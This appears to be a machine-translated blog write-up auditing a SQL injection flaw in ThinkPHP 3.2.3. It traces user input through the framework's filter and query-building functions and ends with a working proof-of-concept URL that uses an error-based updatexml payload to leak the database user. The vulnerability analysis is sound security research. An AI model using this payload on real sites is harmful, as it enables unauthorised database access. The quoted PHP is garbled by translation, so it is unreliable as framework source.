Code audit -thinkphp3.2.3 framework sql injection vulnerability

Began to reproduce what the audit framework and vulnerability tp3 tp5 when a draw.

 

 

It relates to a method of injection where () table () delete ( ) and the like.

Environmental tp3.2.3:

 

 

 

0x01 injection causes

Test code:

    public function index2(){
//        $data = M('user')-> where('username = "admin"')->select();
//        dump($data);
        $id = i('id');
        $res = M('user')->find($id);

 

 

 

 

I see a follow-up method breakpoint.

 

 

 

F7 thinkphp/ThinkPHP/Common/functions.php follow :

From start to see the first 283 rows judgment submission:

......
switch(strtolower($method)) {
        case 'get'     :   
            $input =& $_GET;
            break;
        case 'post'    :   
            $input =& $_POST;
            break;
        case 'put'     :   
            if(is_null($_PUT)){
                parse_str(file_get_contents('php://input'), $_PUT);
            }
            $input     =    $_PUT;        
            break;
        case 'param'   :
            switch($_SERVER['REQUEST_METHOD']) {
                case 'POST':
                    $input  =  $_POST;
                    break;
                case 'PUT':
                    if(is_null($_PUT)){
                        parse_str(file_get_contents('php://input'), $_PUT);
                    }
                    $input     =    $_PUT;
                    break;
                default:
                    $input  =  $_GET;
            }
            break;
        case 'path'    :   
            $input  =   array();
            if(!empty($_SERVER['PATH_INFO'])){
                $depr   =   C('URL_PATHINFO_DEPR');
                $input  =   explode($depr,trim($_SERVER['PATH_INFO'],$depr));            
            }
            break;
        case 'request' :   
            $input =& $_REQUEST;   
            break;
        case 'session' :   
            $input =& $_SESSION;   
            break;
        case 'cookie'  :   
            $input =& $_COOKIE;    
            break;
        case 'server'  :   
            $input =& $_SERVER;    
            break;
        case 'globals' :   
            $input =& $GLOBALS;    
            break;
        case 'data'    :   
            $input =& $datas;      
            break;
        default:
            return null;
    }

 

Look where the focus filter

 

 

 

 

 

 

 

think_filter:

 

 

function think_filter (& $ value ) {
 // TODO other security filtering 

// filter query special characters 
IF ( preg_match ( '/ ^ (EXP | NEQ | GT | EGT | LT | ELT | OR | XOR | the LIKE | NOTLIKE | the NOT the BETWEEN | NOTBETWEEN | the BETWEEN | notin | the NOT the IN | the IN) $ / I ', $ value )) {
     $ value =.' ' ; 
} 
}

 

Here is the basic causes of the blacklist but missed some common updataxml () function did not filter error.

 

To follow behind in the function parseSet可以看到我们提交的字符串作为占位符:

 

 

 

protected function parseSet($data) {
        foreach ($data as $key=>$val){
            if(is_array($val) && 'exp' == $val[0]){
                $set[]  =   $this->parseKey($key).'='.$val[1];
            }elseif(is_null($val)){
                $set[]  =   $this->parseKey($key).'=NULL';
            }elseif(is_scalar($val)) {// 过滤非标量数据
                if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
                    $set[]  =   $this->parseKey($key).'='.$this->escapeString($val);
                }else{
                    $name   =   count($this->bind);
                    $set[]  =   $this->parseKey($key).'=:'.$name;
                    $this->bindParam($name,$val);
                }
            }
        }
        return ' SET '.implode(',',$set);
    }

 

_parseOptionsmethod:

IF ( is_array ( $ options )) { // when integrated with $ options $ this-> options when the array is an array of 
            $ options = The array_merge ( $ the this -> Options, $ options ); 
        } 
 
        IF (! isset ( $ options [ 'table'])) { // determines whether a table not set in here 
            // automatically obtain table 
            $ Options [ 'table'] = $ the this -> the getTableName ();
             $ Fields            = $ the this -> Fields; 
        } the else {
             //Re-acquiring the data table specified field list but not type detector 
            $ Fields = $ the this -> getDbFields (); // set in here 
        } 
 
        // data table alias 
        IF (! Empty ( $ Options [ 'Alias'])) { // determines whether a data table alias 
            $ Options [ 'table'] = ''.. $ Options [alias'] '; // Note that here, a direct splicing 
        }
         // recording operation model name 
        $ Options [' Model '] = $ the this -> name; 
 
        // field type validation 
        IF ( isset ( $ Options [' WHERE ']) && is_array (Options $ [ 'the WHERE']) &&! empty ( $ Fields ) &&! isset ( $ Options [ 'the Join'])) { // make $ optison [ 'where'] is not an array or not is not set in here 
            // array query condition field type checking 
           ...... 
        } 
        // after the query is assembled to avoid affecting the empty expression sql query Save 
        $ the this -> Options = array ();
         // expression filter 
        $ the this -> _ options_filter ( Options $ );
         return  $ Options ;

 

When we pass an array of value is not directly parsed into the query returns, without any filtering. 

While the $ options [ 'where'], too, see parseWhere function
whereStr $ = '' ;
         IF ( is_string ( $ WHERE )) {
             // directly string condition 
            $ whereStr = $ WHERE ; // return directly, without any filtering 
        } the else {
             // Use array expression 
           .... .. 
        }

 

 

 

0x02 reproducible use

http://www.qing-tp3.com/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 

 

 

 

 

With the end of time or a little about the delet those methods produce similar injection write back to work -

 

 

Guess you like

Origin www.cnblogs.com/-qing-/p/11444871.html